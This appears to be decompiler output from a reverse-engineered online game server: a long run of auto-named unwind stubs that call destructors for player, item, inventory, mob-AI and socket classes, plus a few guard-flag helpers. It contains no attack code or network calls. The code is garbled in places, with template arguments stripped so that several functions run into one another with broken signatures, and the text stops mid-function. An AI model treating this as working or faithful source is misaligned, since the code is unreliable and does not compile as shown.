void __usercall _L177154(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00621490) -------------------------------------------------------- void __usercall _L177407(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006214B0) -------------------------------------------------------- void __usercall _L177331(int a1) { CardDeck::CardStack::_CardStack((CardDeck::CardStack *)(a1 - 60)); } //----- (006214D0) -------------------------------------------------------- void __usercall _L177796(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006214F0) -------------------------------------------------------- void __usercall _L177920(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00621510) -------------------------------------------------------- void __usercall _L178006(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 356)); } //----- (00621530) -------------------------------------------------------- unsigned int __cdecl _L181716() { unsigned int result; // eax@1 result = _S9_15 & 0xFFFFFFFE; _S9_15 &= 0xFFFFFFFEu; return result; } //----- (0062153E) -------------------------------------------------------- unsigned int __cdecl _L181717() { unsigned int result; // eax@1 result = _S9_15 & 0xFFFFFFFD; _S9_15 &= 0xFFFFFFFDu; return result; } //----- (0062154C) -------------------------------------------------------- unsigned int __cdecl _L181718() { unsigned int result; // eax@1 result = _S9_15 & 0xFFFFFFFB; _S9_15 &= 0xFFFFFFFBu; return result; } //----- (00621570) -------------------------------------------------------- void __usercall _L181798(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00621590) -------------------------------------------------------- void __usercall _L182280(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006215B0) -------------------------------------------------------- void __usercall _L182340(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (006215D0) -------------------------------------------------------- void __usercall _L182527(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 164)); } //----- (006215F0) -------------------------------------------------------- void __usercall _L182652(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00621610) -------------------------------------------------------- void __usercall _L184797_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00621630) -------------------------------------------------------- void __usercall _L185634(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00621658) -------------------------------------------------------- void __usercall _L186168(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00621690) -------------------------------------------------------- void __usercall _L182001(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006216B0) -------------------------------------------------------- void __usercall _L179270(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (006216B8) -------------------------------------------------------- void __usercall _L179271(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (006216C0) -------------------------------------------------------- void __usercall _L179272(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 4)); } //----- (006216E0) -------------------------------------------------------- void __usercall _L179443(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (00621700) -------------------------------------------------------- void __usercall _L179922(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00621708) -------------------------------------------------------- void __usercall _L179923(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00621720) -------------------------------------------------------- void __usercall _L180221(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3368)); } //----- (0062172B) -------------------------------------------------------- void __usercall _L180222(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3396)); } //----- (00621736) -------------------------------------------------------- void __usercall _L180223(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3416)); } //----- (00621741) -------------------------------------------------------- void __usercall _L180224(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 3412)); } //----- (00621760) -------------------------------------------------------- void __usercall _L180639(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3300)); } //----- (0062176B) -------------------------------------------------------- void __usercall _L180640(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3316)); } //----- (00621780) -------------------------------------------------------- void __usercall _L180891(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 3336)); } //----- (0062178B) -------------------------------------------------------- void __usercall _L180892(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 3392)); } //----- (006217A0) -------------------------------------------------------- void __usercall _L181171(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 204)); } //----- (006217AB) -------------------------------------------------------- void __usercall _L181172(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 272)); } //----- (006217B6) -------------------------------------------------------- void __usercall _L181173(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (006217C1) -------------------------------------------------------- void __usercall _L181175(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 272)); } //----- (006217E0) -------------------------------------------------------- void __usercall _L181488(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 188)); } //----- (00621800) -------------------------------------------------------- void __usercall _L181694(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00621808) -------------------------------------------------------- void __usercall _L181695(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00621820) -------------------------------------------------------- void __usercall _L182093(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00621828) -------------------------------------------------------- void __usercall _L182094(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00621830) -------------------------------------------------------- void __usercall _L182095(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 64)); } //----- (00621850) -------------------------------------------------------- void __usercall _L182235(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00621858) -------------------------------------------------------- void __usercall _L182236(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00621860) -------------------------------------------------------- void __usercall _L182237(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (00621880) -------------------------------------------------------- void __usercall _L182372(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 4)); } //----- (006218A0) -------------------------------------------------------- void __usercall _L182465(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 516)); } //----- (006218AB) -------------------------------------------------------- void __usercall _L182466(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (006218B6) -------------------------------------------------------- void __usercall _L182541(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 540)); } //----- (006218D0) -------------------------------------------------------- void __usercall _L191459(int a1) { ItemEquipment::_ItemEquipment(*(ItemEquipment **)(a1 - 16)); } //----- (006218D8) -------------------------------------------------------- void __usercall _L191460(int a1) { ItemInventory::_ItemInventory((ItemInventory *)(*(_DWORD *)(a1 - 16) + 3368)); } //----- (006218E6) -------------------------------------------------------- void __usercall _L191461(int a1) { ItemQuestItemBox::_ItemQuestItemBox((ItemQuestItemBox *)(*(_DWORD *)(a1 - 16) + 20076)); } //----- (006218F4) -------------------------------------------------------- void __usercall _L191462(int a1) { ItemMiniHouseBox::_ItemMiniHouseBox((ItemMiniHouseBox *)(*(_DWORD *)(a1 - 16) + 20660)); } //----- (00621910) -------------------------------------------------------- void __usercall _L191510(int a1) { NPCAction::BallAction::_BallAction(*(SlantedCoordList::ObjectYCoordNode **)(a1 - 16)); } //----- (00621918) -------------------------------------------------------- void __usercall _L191511(int a1) { NPCAction::BallAction::_BallAction((SlantedCoordList::ObjectYCoordNode *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00621923) -------------------------------------------------------- void __usercall _L191512(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00621940) -------------------------------------------------------- void __usercall _L191585(int a1) { CharacterInventory::_CharacterInventory(*(CharacterInventory **)(a1 - 16)); } //----- (00621960) -------------------------------------------------------- void __usercall _L191608(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0062196B) -------------------------------------------------------- void __usercall _L191609(int a1) { ServerMenuActor::_ServerMenuActor((ServerMenuActor *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (00621980) -------------------------------------------------------- void __usercall _L191650(int a1) { StreetBoothSell::_StreetBoothSell((StreetBoothSell *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (006219A0) -------------------------------------------------------- void __usercall _L191763(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (006219AB) -------------------------------------------------------- void __usercall _L191764(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 11376)); } //----- (006219B9) -------------------------------------------------------- void __usercall _L191765(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 22748)); } //----- (006219E0) -------------------------------------------------------- void __usercall _L191820_0(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain(*(MobTacticElement::MobActionNoBrain **)(a1 - 16)); } //----- (006219E8) -------------------------------------------------------- void __usercall _L191821(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (006219F3) -------------------------------------------------------- void __usercall _L191822(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (006219FE) -------------------------------------------------------- void __usercall _L191823(int a1) { MobTacticElement::MobActionWander::_MobActionWander((MobTacticElement::MobActionWander *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (00621A09) -------------------------------------------------------- void __usercall _L191824(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 76)); } //----- (00621A14) -------------------------------------------------------- void __usercall _L191825(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (00621A1F) -------------------------------------------------------- void __usercall _L191826(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 108)); } //----- (00621A2A) -------------------------------------------------------- void __usercall _L191827(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 120)); } //----- (00621A35) -------------------------------------------------------- void __usercall _L191828(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 128)); } //----- (00621A43) -------------------------------------------------------- void __usercall _L191829(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 144)); } //----- (00621A60) -------------------------------------------------------- void __usercall _L212914_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621A80) -------------------------------------------------------- unsigned int __cdecl _L193058() { unsigned int result; // eax@1 result = _S52_3 & 0xFFFFFFFE; _S52_3 &= 0xFFFFFFFEu; return result; } //----- (00621AA0) -------------------------------------------------------- void __usercall _L193370(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00621AC0) -------------------------------------------------------- void __usercall _L193732(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621AC8) -------------------------------------------------------- void __usercall _L193733(int a1) { BroadcastEventPopper::_BroadcastEventPopper((BroadcastEventPopper *)(a1 - 20)); } //----- (00621AE0) -------------------------------------------------------- void __usercall _L194829(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00621AE8) -------------------------------------------------------- void __usercall _L194830(int a1) { BroadcastEventPopper::_BroadcastEventPopper((BroadcastEventPopper *)(a1 - 36)); } //----- (00621B00) -------------------------------------------------------- void __usercall _L195724(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 16)); } //----- (00621B20) -------------------------------------------------------- void __usercall _L199770(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00621B40) -------------------------------------------------------- void __usercall _L196868(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (00621B60) -------------------------------------------------------- void __usercall _L196956(int a1) { MobAggroManager::_MobAggroManager(*(MobAggroManager **)(a1 - 16)); } //----- (00621B68) -------------------------------------------------------- void __usercall _L196957(int a1) { MobTargetBout::_MobTargetBout((MobTargetNoBrain *)(*(_DWORD *)(a1 - 16) + 344)); } //----- (00621B76) -------------------------------------------------------- void __usercall _L196958(int a1) { MobTargetAggresive::_MobTargetAggresive((MobTargetAggresive *)(*(_DWORD *)(a1 - 16) + 368)); } //----- (00621B84) -------------------------------------------------------- void __usercall _L196959(int a1) { MobTargetBout::_MobTargetBout((MobTargetNoBrain *)(*(_DWORD *)(a1 - 16) + 424)); } //----- (00621B92) -------------------------------------------------------- void __usercall _L196960(int a1) { MobTargetAggresive2::_MobTargetAggresive2((MobTargetAggresive2 *)(*(_DWORD *)(a1 - 16) + 448)); } //----- (00621BA0) -------------------------------------------------------- void __usercall _L196961(int a1) { MobTargetAggresiveALL::_MobTargetAggresiveALL((MobTargetAggresiveALL *)(*(_DWORD *)(a1 - 16) + 504)); } //----- (00621BAE) -------------------------------------------------------- void __usercall _L196962(int a1) { MobTargetAggresiveNoLevel::_MobTargetAggresiveNoLevel((MobTargetAggresiveNoLevel *)(*(_DWORD *)(a1 - 16) + 560)); } //----- (00621BD0) -------------------------------------------------------- void __usercall _L197391(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00621BD8) -------------------------------------------------------- void __usercall _L197392(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (00621BE3) -------------------------------------------------------- void __usercall _L197393(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (00621BEE) -------------------------------------------------------- void __usercall _L197394(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (00621BFC) -------------------------------------------------------- void __usercall _L197395(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (00621C0A) -------------------------------------------------------- void __usercall _L197396(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (00621C18) -------------------------------------------------------- void __usercall _L197397(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (00621C26) -------------------------------------------------------- void __usercall _L197398(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (00621C34) -------------------------------------------------------- void __usercall _L197399(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (00621C42) -------------------------------------------------------- void __usercall _L197400(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 324)); } //----- (00621C50) -------------------------------------------------------- void __usercall _L197401(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 356)); } //----- (00621C5E) -------------------------------------------------------- void __usercall _L197402(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 388)); } //----- (00621C80) -------------------------------------------------------- void __usercall _L197652(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621C88) -------------------------------------------------------- void __usercall _L197653(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (00621CA0) -------------------------------------------------------- void __usercall _L197998(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00621CA8) -------------------------------------------------------- void __usercall _L197999(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00621CC0) -------------------------------------------------------- void __usercall _L201267(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00621CC8) -------------------------------------------------------- void __usercall _L201268(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00621CE0) -------------------------------------------------------- void __usercall _L198392_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (00621D00) -------------------------------------------------------- void __usercall _L199205(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00621D08) -------------------------------------------------------- unsigned int __cdecl _L199206() { unsigned int result; // eax@1 result = _S97_2 & 0xFFFFFFFE; _S97_2 &= 0xFFFFFFFEu; return result; } //----- (00621D20) -------------------------------------------------------- void __usercall _L199431(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00621D40) -------------------------------------------------------- void __usercall _L210441(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00621D60) -------------------------------------------------------- void __usercall _L201115(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00621D80) -------------------------------------------------------- void __usercall _L201318(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00621D88) -------------------------------------------------------- void __usercall _L201319(int a1) { AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp((AxialListPacketBroadcast4ItemPickUp *)(a1 - 24)); } //----- (00621DA0) -------------------------------------------------------- void __usercall _L201577(int a1) { MobTacticElement::MobActionArgument::Selector::_Selector((MobTacticElement::MobActionArgument::Selector *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00621DC0) -------------------------------------------------------- void __usercall _L201692(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00621DE0) -------------------------------------------------------- void __usercall _L202393(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00621E00) -------------------------------------------------------- void __usercall _L202482(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00621E08) -------------------------------------------------------- void __usercall _L202503(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00621E20) -------------------------------------------------------- void __usercall _L204132(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 16)); } //----- (00621E40) -------------------------------------------------------- int __usercall _L212401(int a1) { return ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } // 52A750: using guessed type int __thiscall ShineObjectClass__ShineObject___ShineObject(_DWORD); //----- (00621E60) -------------------------------------------------------- int __usercall _L204753(int a1) { return ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } // 52A750: using guessed type int __thiscall ShineObjectClass__ShineObject___ShineObject(_DWORD); //----- (00621E68) -------------------------------------------------------- void __usercall _L204754(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 232)); } //----- (00621E76) -------------------------------------------------------- void __usercall _L204755(int a1) { ShineObjectClass::ShineMobileObject::AS::_AS((ShineObjectClass::ShineMobileObject::AS *)(*(_DWORD *)(a1 - 16) + 296)); } //----- (00621E84) -------------------------------------------------------- void __usercall _L204756(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 3588)); } //----- (00621EA0) -------------------------------------------------------- void __usercall _L206232_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00621EC0) -------------------------------------------------------- int __usercall _L206744(int a1) { return ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } // 52A750: using guessed type int __thiscall ShineObjectClass__ShineObject___ShineObject(_DWORD); //----- (00621EC8) -------------------------------------------------------- void __usercall _L206745(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 232)); } //----- (00621ED6) -------------------------------------------------------- void __usercall _L206746(int a1) { ShineObjectClass::ShineMobileObject::AS::_AS((ShineObjectClass::ShineMobileObject::AS *)(*(_DWORD *)(a1 - 16) + 296)); } //----- (00621EE4) -------------------------------------------------------- void __usercall _L206747(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 3588)); } //----- (00621EF2) -------------------------------------------------------- void __usercall _L206748(int a1) { Parameter::Container::_Container(*(_DWORD *)(a1 - 16) + 3860); } //----- (00621F10) -------------------------------------------------------- int __usercall _L206781(int a1) { return ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(void **)(a1 - 16)); } //----- (00621F30) -------------------------------------------------------- int __usercall _L206823(int a1) { return ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } // 52A750: using guessed type int __thiscall ShineObjectClass__ShineObject___ShineObject(_DWORD); //----- (00621F38) -------------------------------------------------------- void __usercall _L206824(int a1) { ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven((ShineObjectClass::ShineMiniHouse::MiniHouseInven *)(*(_DWORD *)(a1 - 16) + 1312)); } //----- (00621F50) -------------------------------------------------------- int __usercall _L206883(int a1) { return ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(void **)(a1 - 16)); } //----- (00621F58) -------------------------------------------------------- void __usercall _L206884(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7448)); } //----- (00621F66) -------------------------------------------------------- void __usercall _L206885(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 7456)); } //----- (00621F74) -------------------------------------------------------- void __usercall _L206886(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7468)); } //----- (00621F82) -------------------------------------------------------- void __usercall _L206887(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(*(_DWORD *)(a1 - 16) + 7708)); } //----- (00621FB0) -------------------------------------------------------- void __usercall _L207190(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 28)); } //----- (00621FD0) -------------------------------------------------------- void __usercall _L207479(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00621FD8) -------------------------------------------------------- void __usercall _L207480(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (00621FE3) -------------------------------------------------------- void __usercall _L207481(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (00621FEE) -------------------------------------------------------- void __usercall _L207482(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (00621FFC) -------------------------------------------------------- void __usercall _L207483(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (0062200A) -------------------------------------------------------- void __usercall _L207484_0(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (00622018) -------------------------------------------------------- void __usercall _L207485_0(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (00622026) -------------------------------------------------------- void __usercall _L207486_0(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (00622034) -------------------------------------------------------- void __usercall _L207487_0(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (00622042) -------------------------------------------------------- void __usercall _L207488_0(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 324)); } //----- (00622050) -------------------------------------------------------- void __usercall _L207489(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 356)); } //----- (00622070) -------------------------------------------------------- void __usercall _L208479(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00622090) -------------------------------------------------------- int __usercall _L209328(int a1) { return ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(void **)(a1 - 20)); } //----- (00622098) -------------------------------------------------------- void __usercall _L209329(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 7452)); } //----- (006220A6) -------------------------------------------------------- void __usercall _L209330(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 20) + 23696)); } //----- (006220B4) -------------------------------------------------------- void __usercall _L209331(int a1) { ShineObjectClass::ShinePlayer::SocketStream::_SocketStream((ShineObjectClass::ShinePlayer::SocketStream *)(*(_DWORD *)(a1 - 20) + 23704)); } //----- (006220C2) -------------------------------------------------------- void __usercall _L209332(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 31916)); } //----- (006220D0) -------------------------------------------------------- void __usercall _L209333(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32164)); } //----- (006220DE) -------------------------------------------------------- void __usercall _L209334(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32165)); } //----- (006220EC) -------------------------------------------------------- void __usercall _L209335(int a1) { ShineObjectClass::ShinePlayer::__unnamed::___unnamed((void *)(*(_DWORD *)(a1 - 20) + 32312)); } //----- (006220FA) -------------------------------------------------------- void __usercall _L209336(int a1) { NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick((NormalAttackDamageDelay::NormalAttackDamageTick *)(*(_DWORD *)(a1 - 20) + 66156)); } //----- (00622108) -------------------------------------------------------- void __usercall _L209337(int a1) { ShineQuestDiary::_ShineQuestDiary((ShineQuestDiary *)(*(_DWORD *)(a1 - 20) + 66176)); } //----- (00622116) -------------------------------------------------------- void __usercall _L209338(int a1) { CharaterSkillList::_CharaterSkillList((CharaterSkillList *)(*(_DWORD *)(a1 - 20) + 68496)); } //----- (00622124) -------------------------------------------------------- void __usercall _L209339(int a1) { CharacterPassiveList::_CharacterPassiveList((CharacterPassiveList *)(*(_DWORD *)(a1 - 20) + 68532)); } //----- (00622132) -------------------------------------------------------- void __usercall _L209340(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 68579)); } //----- (00622140) -------------------------------------------------------- void __usercall _L209341(int a1) { 